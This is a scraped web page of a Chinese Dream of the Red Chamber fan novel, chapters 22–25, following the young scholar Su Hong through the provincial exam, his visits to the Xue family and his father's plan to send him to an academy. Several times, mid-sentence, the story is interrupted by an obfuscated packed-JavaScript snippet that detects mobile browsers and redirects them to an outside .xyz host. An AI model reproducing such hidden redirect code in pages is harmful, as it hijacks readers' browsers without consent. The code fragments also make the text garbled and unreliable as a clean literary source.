l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285825|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些人在内府。薛家虽是皇商，跟常在京城的内府官相比，自然还是他们更得上头信任。 何苦得罪了他们，就算眼下隐忍不发，日后终究是个障碍。 薛蟠也是有心无力，薛家各处皆有买卖局，他也管不过来，都是当地的总管和伙计们支应。虽说交上来的银钱不如以往，但那些老总管、老伙计与他们家亦是相交甚厚，他哪里能抹开脸面去查底。 至于朝廷上的事，他虽挂了虚职买办杂料，但也只管支领银子、给内府交分红和利息。他父亲从前跟着太上皇干，等他接班时，因他年纪小，自然没给太上皇出过力气。偏偏没几年今上登基，如今他也是进退两难。 此时听了苏鸿的话，也深感君恩、人心难测，便闷头喝了两口酒。苏鸿见他喝得急便连忙制止，笑道：“我这段时日忙得很，但闲了听一耳朵闲话，倒是跟令表姐有关。” 薛蟠闻言一惊，酒都醒了大半，一拍大腿道：“天爷啊，怎么连这种事都传出去了。好师兄，你平日从不听这种闲话，是谁在外头说嘴，我打他去！” 他满心以为是贾瑞调戏凤姐反遭报复、一病不起的事漏了出去，心中暗骂东府里的两个果然是混蛋玩意。蓉大奶奶就算了，跟他屁关系没有。凤姐再怎么样，也是他亲表姐，总不能放任她的名声也被坏得干净。 “？”苏鸿见薛蟠这般激动，有些不解道：“我是听说有人打算走令表姐的路子，特意来告诉你一声，怎么这么激动？” 他近来确实忙昏头了，许多事竟不曾留心。只是算算时间，难道现下正巧是贾瑞调戏凤姐的时候？ 薛蟠听此言，这才冷静下来，仰头灌了一碗热酒往椅子上一摊。他摇头道：“师兄别多心，也忘了我的话才好。只求师兄细说，到底是什么事要走我表姐的路子？” 苏鸿并未深究，垂头细思一回方道：“我也不知道太多，听说是长安县两家打官司。有一家想求令表姐夫替他们说情，打点长安节度使。那老尼说她认得令表姐，打算求到她门上。我想着此事非同小可，便告诫你一声，好歹让伯母留心。” 薛蟠闻言蹙眉想了想，说道：“长安节度使倒是与贾家甚厚，只是结交外官一事可大可小。那府里也是嚣张惯了，恐怕不把这当回事。以我那表姐的性子，说不定真会答应下来。” 苏鸿看着薛蟠，摇头道：“若论从前，自然并无大碍。但如今多事之秋，这种要脑袋的事还是别沾染的好。你正经告诉伯母，不管是谁，好歹劝劝。” 这世道，君不君臣不臣，连个规矩方圆也没有。结交外官就如贪污一样，禁不住，人人都默认可以这样做。 只是这些事不被翻腾出来，大家相安无事。若有人想翻腾出来，自然也就成了现成的罪证了。眼下最重要的，是先禁住凤姐结交外官、包揽诉讼的开始。不然凤姐一尝到权势的甜头，便是十头牛也拉不回来了。 22. 乡试 薛蟠虽不通官场，但也知道这里头的厉害。 若论结党营私，他们贾史王薛四家就是典型的例子。依靠联姻掩藏下头的钱权交易，互相扶持照应。如今他因父亲和老师的交代，总是在亲戚们面前装憨，才渐渐少了几分联系。即便如此，但凡他们张口，十次里总要有两三次拿出钱来。 一旦上了船，又是利益捆绑，又是亲戚情分，他是甩也甩不脱。便是勉强下了船，便是亲戚，也不许他活着。 结交外官，论理也是结党营私，却因外官的身份更重一层。贾家昔日军功发家，有几个武将故交不是罕事。只是如今一方是朝廷恩养的勋贵，一方又是地方军政大员，如何还能光明正大往来。 官场上的事，别说他半只脚在官场晃荡，就是姨爹这样久在官场的人也未必能吃透。表姐被困于内宅，对外头的事只会比他们更不敏感。若还仗着身份肆意妄为，一旦出事连表姐也会被牵扯进去。 他有些头疼，又灌了一碗酒：“这事我回去就和妈说，务必让我表姐知道里头的利害。也多亏你来告诉，不然还不知道那些人要盯着那府上的女眷下套。我……我……” 苏鸿看他醉得连话都说不全，劈手夺过他的酒杯道：“快别喝了，平日不见你这样死灌。”见薛蟠着实醉得不像样，便连忙唤下人过来收拾，给薛蟠熬上醒酒的汤药。眼见薛蟠躺在床上睡下，叮嘱几句才离开。 他到后头与薛太太告辞，见王夫人也在便未曾多说，见了礼便告辞回家。苏母正为他检查行囊，见他此时要单独回金陵，不免又叮嘱许多，苏鸿亦一一应下。 此次他孤身一人南下，苏母自然担忧不已。但京城这一摊子事也无法脱身，只好再三交代跟着的人，叮嘱他们小心照料。 后日一早，苏鸿便带着风信等人登舟南下。临近乡试，苏鸿虽有把握，但也不敢十分托大，手不释卷，钻研往年各省解元文章。众人见他如此勤勉也都不敢打扰，做事都轻手轻脚。 不下一月功夫，众人弃舟登岸，早有收到信儿的苏家叔父派人在此等候。接到苏鸿一行人后，苏珑才放下心，连忙给苏父回信让他们安心。 老宅中早被打扫出十来间屋子，苏鸿安置下来后只抽了两日拜望亲友，又忙忙投入书海，苏家老宅便闭门谢客。众亲戚及故交亲友等也不见怪，都不上门打扰。 待乡试之日，苏鸿早早就收拾了考篮候在贡院前。只是他身量高挑、容貌俊秀，加之年龄尚小，不少考生、胥吏来往时都多打量他几眼。 乡试前按例由衙门为诸考生保结，又有师生、同窗保结，是以参加乡试的考生名册早就传得沸沸扬扬。历来皆有好事者，打点上下关系，盘点诸考生，以谁能中榜、谁为解元等开设赌局。 是以苏鸿一露面，便被人认了出来。南方多才子，自古又有文人相轻。众学子明里暗里打量，又未曾见过他有文章诗句流传，眼底不由带出些许轻视之意。 苏鸿对那些目光视而不见，只任由小吏搜身、检查考篮。过了三四关，他才循着分好的号房坐下。观其位置，正是位列号房前侧。虽与主、副考官位置相近，但好歹远离臭号，他提着的心也松泛些。 约莫等了一两个时辰，一行考官才款款入场，身后的一众小吏各自抱着一大摞试卷。考场有些微的骚动，很快就安静下来。随着小吏不断穿插走动，考官的声音响起，抑扬顿挫念着考场种种规矩。 待考官念完一遍，每隔五间号房便有小吏重复话语，确保每位考生都能听得清楚。不多时，又是一声锣响，考场内便是一阵窸窸窣窣翻看纸张的声音，却连一句人声也不曾听见。 苏鸿攥紧手，连着几个深呼吸，才渐渐压下紧张感。用手巾将手心的汗渍擦干后，他将试卷翻转过来查看题目。打眼一扫，见都是自己熟知的，便沉下心绪仔细阅题。 只是下笔之前，思及金陵主考官乃翰林院学士，其平生最喜写些辞藻华丽、字字珠玑的文章。他素来文风朴实、敦厚，若想争一争解元的位置，总要改变一二。又思忖片刻，他才在草稿纸上落笔。 一连九日，三场考试。苏鸿出贡院时，面色微微发白，脚步虚浮，只是比起其他学子一步三摇的样子还是好上许多。苏珑和风信等早早等在外头，见他出来，连忙将他扶上马车。 苏珑捋着胡须道：“平安出来就好，回去了多休息一段时日，把身体养回来。前几日贡院里有被抬出来的秀才公，真是让人担惊受怕。” 苏鸿笑道：“也是我运气好，没有被分到漏雨的号房，不然就麻烦了。” 待回家后，苏鸿连饭菜也没来得及吃，只简单洗漱了就躺到床上闷头睡去。虽说他习惯了高强度学习，只是身在考场，无论环境还是心态都非平日可比，难免觉得疲惫。 一连睡了几日，苏鸿才彻底缓过来，神采奕奕去各处拜望亲友。又听闻薛家叔父薛愉近日回到金陵，便连忙下帖拜见。只是出发之前，想起原文中虽未曾说薛愉是何时去世，但结合薛家兄妹上京的时间，约莫也就是此后一段时日了。 他心中有些紧迫感，也担忧薛家叔父当真会一病不起。薛家是太上皇的人，只是如今新皇上位，即便二位陛下面上不说什么，下面人也会明争暗斗。只可惜《石头记》中并未写薛家究竟遇到了何事，他也无从下手。 是日，苏鸿便乘车到薛愉府上拜访。只是一见着薛愉，便见他鬓边又多了几缕银丝，比先前见面更憔悴些。苏鸿心中暗暗吃惊，多了一丝沉重。 薛愉早听说苏鸿参加今年的乡试，也不敢轻易打扰。如今见他上门，便连忙命人将薛蝌带来一同说话。薛蝌小小年纪，亦有其父风流儒雅之态，加之小时也曾一同读书玩笑，二人也不觉陌生。 薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285826|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愉去年虽上京销算旧账，却因时间紧张，只与苏鸿略见一面，并未深谈。如今见苏鸿举止沉稳，俨然一副雅正文士的模样，心里越发喜爱。便执手细问他们家与薛蟠一家近况，见各自安好便放下心。 他心中亦有一段心事。如今上头两位主子等着用钱，中间又是数家亲戚、同僚张口，下头还有各处总管伙计，都不是好打交道的。从前还有兄长撑着，谁知他兄长早早去了，家中信得过能顶事的男人竟没有几个，他日日支应也累得心力交瘁。偏偏蟠儿和蝌儿年纪都小，他更不敢放手。 但想到薛蟠虽不顶事，却也不是胡作非为、惹是生非的纨绔子弟，薛蝌又马上就长成了，心中略感安慰。祖宗挣来这样大的家业，他也不敢妄求千秋万代，只要他们兄弟姊妹几个能吃饱穿暖他就能安心闭眼了。 苏鸿见薛叔父不知在想些什么，眼底竟带了一丝悲色，便不着痕迹将话题岔开。他虽不十分清楚，但想也知道与薛家此时的处境有关。他偶尔也会考虑要不要建议师弟跳船，可薛家此时跳船只会死得更快。 倒不如再等等，等皇权之争尘埃落定。到那时，哪怕薛家被迫放弃全部家财，只求一个平安，也是值得的。只是他不清楚薛家叔父是因何而死，又想到薛伯父亦然伤得蹊跷，不免有些不详的预感。 苏鸿思忖半晌，还是说道：“世叔近来似乎憔悴许多，应保重身体才是。我听闻有位老太医致仕回乡，何不请他为世叔调理一番？” 薛愉见苏鸿想着自己心中已十分欣慰，听他所言，也不欲将那些烦心事说出来。他温和一笑，说道：“贤侄不必挂怀，只是近来刚有笔大生意，不免操劳许多，这才显得憔悴。府上王大夫已经开了药，过几日就好了。” 他心知这是素日劳心太过的缘故，治也治不好的劳累病。但他眼下也无计可施，没有亲近的手足兄弟一起死守家业，他实在独木难支。 苏鸿也不欲令他伤怀，便岔开话题，谈起自己南下一路上的见闻。薛蝌也笑着说起他们行商的见闻，这才将方才的话略过不提。薛愉见他们兄弟俩说笑，便也暂时放下那些纷纷扰扰。左右薛家现在还能给皇家挣银子，二位陛下再如何也不至于现在就对他们怎么样。 便是有个万一，女眷自不会被牵扯进来。蟠儿和蝌儿年纪也小，顶多就是革职、抄没家产，总不至于有性命之忧。 待天色渐晚，苏鸿便告辞归家。他亦然思念父母，不愿在外久留，便趁着放榜前的空闲时间各处游玩、购置土物。虽不是什么贵重的东西，但好歹是南方的东西，带去给父亲、薛伯母等人也可一解其思乡之情。 到了九月初放榜之日，老宅便早早有人去观榜。苏鸿虽不知名次为何，却也知道自己必定榜上有名，便只在家候着。苏珑等族中长辈担忧苏鸿支应不过来，也隐隐担忧他未曾上榜会遭受打击，特意来老宅陪伴。 23. 报喜 众人心不在焉闲聊着，忽而隐隐约约听见锣鼓乐音，兼有鞭炮齐鸣，一时都安静下来，向外瞧着屏息以待。忽而，门房上的人面带喜色匆匆跑来，喊道：“大喜，大喜，头起报喜的老爷们来了，咱们大爷高中！” 苏鸿和一干族人闻言霍地起身，喜上眉梢，连忙起身到外头迎接。苏珑亦喜不自禁，连连吩咐道：“快预备红封、酒菜！” 苏鸿刚绕过屏风，便有三位报录人腰间系着红绸，手持喜报。三人一见苏鸿便一齐高声道：“捷报贵府老爷苏讳高中金陵省乡试第一名解元！苏老爷高中解元！” 苏鸿接了喜报，看了两遍，确认无误后便喜得眉开眼笑，连忙命人升挂起来。又连连吩咐风信给诸报录人和外头的锣鼓队分发赏钱，再置办几桌酒席款待一番。众人见赏钱这样丰厚，新贵人亦如此大气，雅的俗的奉承话不要钱一样往外倒。 说话间，便有二报、三报送来，苏家门前乌泱泱一群人围着，锣鼓喧天，热闹非常。邻居亦或过路人，见这里这样吵闹，便知这里定是有秀才公高中举人，羡慕异常，都围在门前沾沾喜气。 如今谁不知朝廷重用人才、求贤若渴，考了举人便能去做一方父母官。这位苏举人甚至年仅十五，如此年岁，如此才学，春闱必能高中，几年后就是响当当的进士老爷了。 虽说南京藏龙卧虎，达官显贵甚多，但他们听闻有苏郎此人，未尝不羡慕遗憾。纵观天下之事，便是小儿亦知富贵未必长此富贵。何况如今要想为官做宰，必要科举正道出身方可服众。 可叹族中子弟身处温柔富贵之乡，骄奢淫逸，一身纨绔习气，全不知半点祖宗创业之艰难。苏家寒儒薄宦之家，却有这样的芝兰玉树，当真可惜未能生在自家。 苏鸿自不知旁人如何为他可惜，若是知道，只怕也会嗤笑一声。且说他接了二报、三报就赏下厚厚的红封，忙忙引报录人入席吃酒解乏。报录人们汇在一处，见有缘在此相聚，又遇着家境殷实的举人老爷，也都痛痛快快喝酒吃肉。 苏鸿虽性格稳重，却终究只是十五的少年。虽说中举是他意料之中的事，但亦然喜得满面红光。得到消息前来贺喜的人接连不断，凡故交亲友来此庆贺，知晓他们家为人处世，都只带了寻常贺礼，苏鸿便大方收下。 只是一些不大相熟的人送来厚礼，苏鸿虽邀他入席，却婉言拒绝这样的殷勤。天下哪有掉馅饼的好事，他家算不得什么名门望族，自己也不是飞升当了尚书宰相，哪里值得旁人送这样的厚礼。若贸然接了，被人暗骂贪财还好，就怕卷入什么纷争。 他迎来送往，未曾停歇过。忽而又有人来报，应天府知府贾太爷来访，苏鸿只在脑海中过了一下这位贾雨村，便连忙迎出去。二人厮见过，一番寒暄后方才分了主宾坐下。 贾雨村如今搭上了风头正盛的王家，王子腾又累上保本，听闻已有了消息。他正是志得意满之时，又见临近升迁，治下又出了位少年英才，更是喜不自禁。来日上京报给吏部，这便是他教化有功了。 他早听说苏家与薛家来往亲密，两家乃通家之好。他从前不解薛家那般门楣为何会与苏家结交，但如今苏鸿小小年纪便考中举人，日后前途不可限量，也不得不感慨薛家目光毒辣。 昔日贾家为让子弟从举业上发迹，结交文官人脉，将女儿嫁给高中探花的林如海。林如海也果然得了太上皇青眼，被提拔到都察院，又点他做巡盐御史。若能顺利回京，连升几级入六部，平步青云也未尝不可。 只可惜前些日子便听到风声，这位林老爷的身体彻底衰落了，许是近日便有消息了。贾雨村在心中装模作样感慨一番，险些将自己也骗过了，才笑吟吟拉着苏鸿的手说话。 苏鸿见贾雨村生得腰圆背厚、面阔口方，赫然是一雄壮君子，心中不由疑惑起奸臣怎么有这样的面貌。心中虽说好奇，面上却也滴水不漏，奉承得贾雨村满面春风，待苏鸿越发亲近。 好容易挨到晚间，总算送走了今日前来贺喜的客人。族中长辈和平辈的兄弟们尽皆累得口干舌燥，下人们更是腿都跑僵了，只是心中俱是欢喜。苏鸿又酬谢了族人，请他们在老宅住下，又马上吩咐风信加倍厚赏老宅下人。 索性苏父和苏母早就想过他会一次中举，临行前给他准备了足额的银两银票。苏父担忧苏鸿不知世事，还细细叮嘱如何迎来送往、如何打赏报录人，又写信叮嘱苏珑。 苏鸿虽是头一次自己经历大事，但也做得似模似样。一众族人看在眼里，心中对他更是喜爱敬服。 夜深人静之时，苏鸿忍不住披上外衣临窗独坐，盯着天上的弯月发呆。风信见他又燃了蜡烛，不由问道：“爷是要做什么？” 苏鸿笑道：“不妨事，你歇息去吧。” 他铺纸研墨，犹豫片刻后才提笔写下：“父母亲大人膝下——别后数月，不知父母亲均吉否？儿已桂榜有名，高中解元，不日归家。白日报录人及故交亲友皆来庆贺，鼓乐喧天，笙歌鼎沸。及至夜深，则万籁俱寂，悄然无声。非此时，不能知心如止水鉴常明，不能明致虚极、守静笃……儿月下谨拜，肃此恭请福安。” 写完后细细品鉴，却又不好意思起来，想撕了重写又舍不得此时此景此悟。便胡乱寻了本书夹住，重新提笔写了封中规中矩的报喜信，言明不日归家。 第二日一早，苏鸿便命人将书信送出，便忙碌着将老宅该收拾的东西都收拾了。待打点行装后，他才各处拜别亲友，踏上回程的行舟。 运河之上舟舶相继，热闹繁盛令人眼花缭乱。苏鸿此时乡试高中，正是年少得意之时，心情自然也与南下时不同。也难得出了船舱，独自坐在舟头观景。举目四望，亦有不少舟头立着三三两两的人观赏秋景。 苏鸿本是惯常独处之人，见状也不羡慕，颇为自在。只是预备回船舱时，忽而瞥见一抹灰影，不由驻足去看，却并未发现什么。他见周围行舟如梭，便只当自己看错了，并未深究。 将近一月，苏鸿才终于回京。此时京中已是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285827|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一副深秋之景，落叶萧瑟，阵阵秋风带着些微的冷意。苏家早安排了人在此迎候，见了苏家的船回来，连忙上前搬运箱笼行礼。 他归心似箭，只是路过宁荣街时，见里头白茫茫一片，人来人往，隐隐有哭声传来。他心中一惊，竟是险些忘了那位离恨天的可卿仙子便是近日去世。顺着他的目光，一旁的下人道：“爷不知道，宁国府的那位大奶奶殁了，就是前几日的事。” 苏鸿闻言点头不语。 众人归家之后，苏鸿来不及想太多，赶忙换了衣裳给母亲请安。他连月不见父母，心中自然也是万分思念。见母亲正在等着自己，连忙上前磕头。 “给母亲请安，让母亲担忧了。” 苏鸿一连离家数月，苏母日夜悬心。她连忙让苏鸿起来，见苏鸿面色红润，只比离家前黑瘦些才放下心。她揽着苏鸿让他坐在身边，含泪笑道：“你这孩子……知道你有正经事要做，又有你叔叔照看，我有什么不放心的。” 说话间，侍音已经端着几盘热腾腾的糕点过来，笑道：“解元郎回来了？晚膳还得等老爷回来，太太吩咐先吃些糕点垫垫。” 苏鸿忙起身接了，笑道：“多谢姑姑。” 苏母笑道：“这几日，不少故交亲朋得了消息都上门贺喜。你薛伯母也派人过来，说等你回来定要好好置办几桌酒席。我想着跟你父亲商议，倒是不办酒席的好，咱们几家亲近的自己聚一聚就是。” 自从太上皇退位、今上登基后，京中就没有安稳过。从前是明争，现在是暗斗，稍有风吹草动就传得沸沸扬扬。鸿儿中举虽是好事，但一办酒席，究竟请哪些宾客都是学问，够他们头疼了。 苏鸿咬着红枣山药糕，一边笑道：“儿子觉得这样极好，母亲安排就是。” 说话间，苏父已从外头回来。苏鸿忙上前请安，笑道：“父亲怎么回来这么早？” 苏父一边脱了外头的大衣裳，一边笑道：“掌院听说我家的解元郎回来，就让我请假先回家团聚。我看你在外头奔波，也是瘦了许多，用过饭不曾？” 他也是一路科举考上来的，最清楚读书的辛苦尚在其次。大多学子都忍下了读书的苦，但颇有一些学子倒在身体这一关。即便不提水土不服，应考时高度紧绷的精神状态、环境恶劣的号房都能压垮一些身体不好的学子。 因而他父亲自小便令他们兄弟几个跟着武师傅练些拳脚功夫，待他膝下有了苏鸿后，亦是请了武师傅教导他武艺，打磨身体。如今见苏鸿身康体建，又如此争气一次中举，心中颇为欣慰。 苏鸿上前扶着父亲坐下，笑道：“让父亲担忧了，方才用了些点心垫垫，这会儿还不饿。考中解元也是运气，主考官金大人的喜好我略知一二，临时改了行文习惯。” 苏父一怔，说道：“文章默出来了不曾？饭后到书房来。” 苏鸿迎着父亲的目光并不畏惧，笑着答应下来。苏母笑着圆场道：“夫君也不必着急，鸿儿敢这样也是心中有数。” 24. 游学 苏父未曾说什么，岔开话题问起苏鸿一路上的见闻。不多时，厨房便将晚膳送进来。用过晚膳之后，苏鸿便将自己早已默写好的文章取出，拿到书房给苏父看。 苏父接过一沓纸张，不由想到苏鸿一路科举读书的辛苦，眼神不由变得温和些许。但他却并未露出笑意，只是抬手一指示意苏鸿坐在一旁。书房内寂静无声，针落可闻，苏鸿却面容平静地端坐着。 苏父将他三场考试的文章看完，沉默地揉了揉额角。静默片刻后，他方开口问道：“为何会有临时改变文风的想法？为父不觉得你会对名次有这样大的执念。” 虽说科举登第是读书人的理想，但于苏鸿的性子而言，读书是为明理修身，科举也只是顺应时局之举，并非冲着功利二字去的。从前苏父的确是这样认为的，但发现苏鸿为了名列前茅竟去迎合主考官的喜好，一时无法理解。 他不觉得自己养出来的孩子利欲熏心，却想不明白他这样做的目的。 苏鸿避重就轻道：“父亲，迎合考官的文风喜好亦是常理。” 苏父被气笑了，冷笑道：“放屁！他们愿意迎合就迎合，关你什么事？这是担忧自己考不上才想的歪门邪道，你有这个担心？跟你老子娘还敢扯谎，是不是没吃过板子不舒服？” 说着就团团转要找戒尺，打定主意若是苏鸿不说实话就一顿板子打下去。 苏鸿见惹得父亲动了真气，心中有些后悔不该绕弯子。他连忙上前扶住苏父道：“父亲，父亲莫急，容儿细说。” 苏父试图甩开他的手，挣了挣却没能挣脱，拧眉道：“还不快说！” 苏鸿跪下，回思了一回，方低声道：“父亲，如今局势紧张，儿以为抓紧时间成长才是上上策。我有意连中三元，状元及第，是以解元之位我非争不可。” 他其实并没有想好未来要怎么走下去，但总归是要堂堂正正立一番事业。何况他家世不显，功名自然便是他的晋身之阶。若能得中状元，他就能直接授官，第一步就能比别人快出三年。 眼下贾史王薛四家煊煊赫赫，别说这四家内部的子弟，便是旁人也想不到这样的大家族会在几年间烟消云散。可这样的事却偏偏发生了，哪怕记录此事的人极力避免皇权的影响，但隐隐绰绰还是露出了些许蛛丝马迹。 苏鸿知道，有那群不成器的子弟，此四家败落是应然之理。但败落得如此之快，背后绝对有皇权政治斗争的影子。何况天有二日，国有二主，两虎相争亦是必然，哪方败落，跟着的人自然也少不了被牵连。 他无法救下被逼迫的秦可卿，没有名义、也没有能力插手这四家的事。但至少，事发之后，薛家一家的性命他要想办法保全。既然想保全他们，就必须要有相应的能力，还要让上位者看到他的“用处”。 苏父听他说起局势二字，亦明白他心中的想法。却只是摇摇头道：“鸿儿，你不懂。科举是最简单的一步，等你迈入官场的大门，你会发现里面盘根错节，复杂到你甚至理不清里面的关系。局势紧张，你更应压一压锐气，缓几年，等一等。过早暴露对你并没有好处。” 说起此言，苏父也是眼中带着几分复杂。他已经算是顺风顺水了，自己进士出身，岳父官至兵部侍郎，大舅子在五城兵马司任职，也算有人帮扶。即便如此，熬了这么多年也才是六品官，还得等六部空缺。 苏鸿明白苏父之意。如今虽两虎相争，新皇受制于孝道不能反抗。但太上皇毕竟年老，又是逼不得已、实在不能理事才退位，过几年寿数到了自然就没了。到那时，他自然而然忠于新皇便是，不必夹在两派之间为难。 但以原文来看，至少五年之后太上皇还好端端活着呢。他总不可能为了所谓的低调，自己压着自己不出头，谁知道太上皇到底还有几年会殡天。 苏父又道：“要想一路官运亨通，你自己有能力只是一方面，必须得有上位者赏识。如今多事之秋，何苦趟这个浑水。何况你又与薛家女儿有婚约，何必让二位主子早早关注到你？” 有才之士，谁都想招揽。十五岁的举人，虽少却有，十五岁的解元，意义则大不相同。明年就是大比之年，他真担忧十六岁的状元会横空出世，届时他们苏家又该如何。 两不相靠，会直接被发配到翰林院坐一辈子冷板凳，升官更是做梦。投靠太上皇，太上皇过几年殡天了，今上必定不容。而投靠新皇，太上皇现在就能直接把鸿儿外放。 苏鸿沉吟片刻，笑道：“父亲，儿子并没有想过明年就参加春闱。确如父亲所言，多事之秋，是该低调行事。只是若想力争上游，总要拿出两分本事才有贵人赏识。儿只是觉得，状元及第能节省很多时间。” 他起身扶住苏父请他坐下，低声道：“父亲的意思儿子明白。改变文风只是手段，我明白我在做什么，也不会忘了读书人最应做的事是什么。” 苏父闻言定定看了苏鸿一眼，叹道：“随你去吧。你如今中举，我有心为你提前取字，加冠礼就再过两年吧。鸿者，东方之野，日出之处，又有昌盛兴旺之意。如今再看，你也合了这个名。如今为父为你提前取字，安和二字恰如其分。” 中举之后便有了官场的入场券，日常总要与其他读书人、官场上的人来往，有字也方便同辈称呼。至于加冠……既然鸿儿不打算提前入仕，加冠礼就往后放放，免得旁人会错了意思。安和二字，安定和平，亦有安和调畅之意，最合适不过。 安和……苏鸿心中默念两遍，笑道：“多谢父亲赐字，儿子明白。” 知子莫若父，苏鸿虽然聪慧孝顺，但于忠君之道上总是有所欠缺。从前苏父觉得他做个潇洒自在、心无挂碍的才子学士未尝不可，如今却猛然发现苏鸿骨子里就不是安分守常的人。 但苏鸿是他和爱妻所生，爱若珍宝，心早就偏了。何况朝堂之上禄蠹何其之多，鸿儿只是目标明确，不太在意过程而已。又见苏鸿听话，知道轻重，心又软了几分。他便笑道：“你坐下，尚有一事未与你说。宁国府冢妇秦氏丧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285828|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命，你可知道？” 苏鸿见父亲消气，便笑着坐回原位，说道：“回来时偶然看到，一片素白，路祭不断，人流往来如织。 ” 苏父淡淡道：“是啊，人来人往，朝中大半文武官员、皇亲勋贵都去了，确实一派繁盛之景。这几日你在家好好待着，看你师弟倒使得，只是别往贾家去。” 昔日宁荣二公功绩之盛，被天下推为望族也是应然之理。只是贾家子孙如今的做派，倒是全然忘却祖宗恩德，抛却礼义廉耻，与禽兽无异。如今宁国公冢妇去世，排场倒是其次，家族人脉之盛已经全然显现在众人眼前了，确实非寻常人家可比。 只是这样的景象，太上皇许是尚能容忍。就不知生性多疑、自尊自大的今上会如何想了。 更有意思的是，荣府的大姑娘现今在宫里做着女官，与其关系紧密的薛家巨富、王家与史家手握兵权，李家林家在文官清流中颇有影响力。而贾珍还给儿子捐了个正五品龙禁尉的官儿，侍奉今上。一家子亲戚有钱有权有人脉，文武都考虑到了，连后宫裙带关系都没落下，不可谓不周到。 虽说大家族盘根错节是常事，但也没有这么面面俱到的。今上又不是什么宽容大度的人，即使一时还能念着两府祖宗的功德容忍他们，过几年是何景象也难说。 苏鸿闻言道：“儿子知道了，不会往贾家那边去的。” 他与薛家来往，有救命之恩遮掩倒说得过去，旁人也就睁一只眼闭一只眼了。若再与贾家来往过密，旁人怕是会怀疑他的立场派系。不过他对贾家子弟也无甚好感，尽管可怜他们府里的女眷，也不至于冒险把自家人都拖进去。 苏父点头笑道：“如此甚好。只是你一时不打算参加春闱，为父倒有个好想法。我有一好友，亦是进士出身，现于江南省自安书院任山长。为父先前总不放心你，把你拘在国子监。现在时机成熟，你即可前去求学。” 自安书院？江南文风极盛，学子如过江之鲫，书院多如牛毛。即便如此，这家书院在江南省也仍是数一数二，不少进士都是出自这里。只是他才刚刚回来，不愿远离父母，便道：“父亲……” “成大事者不拘小节，”苏父笑道，“我先前已写信托付，他答应收你为弟子。何况我与你母亲相互扶持，京中又有一干亲朋好友相伴，你白担心这些做什么。都说读万卷书，行万里路，你害怕独自一人出行不成？” 苏鸿闻言，终于明白这是苏父早就打算好的，虽不舍远离父母，却仍旧答应下来。苏父见他答应，方笑道：“凡读书人都有游学一说，因你先前年纪小，我和你母亲才不忍你远离身边。如今你在外也是举人老爷，能入仕了，总归要历练一番。” 苏鸿虽知此乃父亲心意，却仍有些闷闷不乐，俨然还带着些许小儿心性。苏父捶了他一下，皱眉道：“你小子怎么蝎蝎螫螫的。在家里待几日，半月后准时启程到书院去，听见了？” 苏鸿见父亲心意已定，便也收起装模作样的姿态，连忙答应下来。 25. 樯木 且不提苏鸿回房后如何收拾行囊，苏父回房后就见苏母坐在窗前梳发。他笑着示意小丫头退下，自己拿着玉梳为夫人轻轻打理发丝，将钗环一并拆下来。 苏母见状，笑道：“你跟鸿儿说了？他答应了不曾？” 他们夫妻俩其实也舍不得苏鸿外出求学，但孩子大了总要放他出去见识见识，一直拘在家里也不是事。尤其鸿儿自小稳重，国子监中也没几个同龄人与他一同读书作乐，倒是去书院更好。 最重要的是，十五岁的解元确实太引人注目了，还是让他在外面避一避更好。 苏父扬眉笑道：“鸿儿一向懂礼孝顺，怎么会不答应。读书人在外游历、增长见识也是常理。我明日就给道安写信，请他收下鸿儿。” 苏母点头一笑，又笑道：“你瞧鸿儿带回来的东西，好多泥塑的小人，和鸿儿像得很。还有南京近日的新鲜玩物，我瞧有好几套木雕、竹编，很是可爱。” 苏父闻言也看着梳妆柜上放置的泥人儿几眼，果然眉宇间和苏鸿相似。还有些竹编的玩物，其形态各异、动作舒展自然，都是大家之作。他笑着赞了两句，想到苏鸿马上要外出求学，心里也有些不舍。 第二日一早，苏鸿用过早饭后就各家拜望亲友，献了各色土仪。恰巧薛蟠听说苏鸿回京，也连忙命人来请，要为他接风洗尘。 苏鸿虽不需旁人来为他接风，但想到薛蟠在原文里大咧咧把樯木板给了贾家，还是欣然赴宴。因苏鸿提前叮嘱，薛蟠不曾叫其他相熟的贵族子弟陪客，便只有他们二人。 苏鸿尝了口热酒，有些诧异道：“还是上次的好酒，怎么还没喝完？” 薛蟠笑道：“好酒配英雄，他能得解元郎一句称赞，也是了不得了。这好酒本就不多，我可舍不得单独喝，非得你来了才行。” 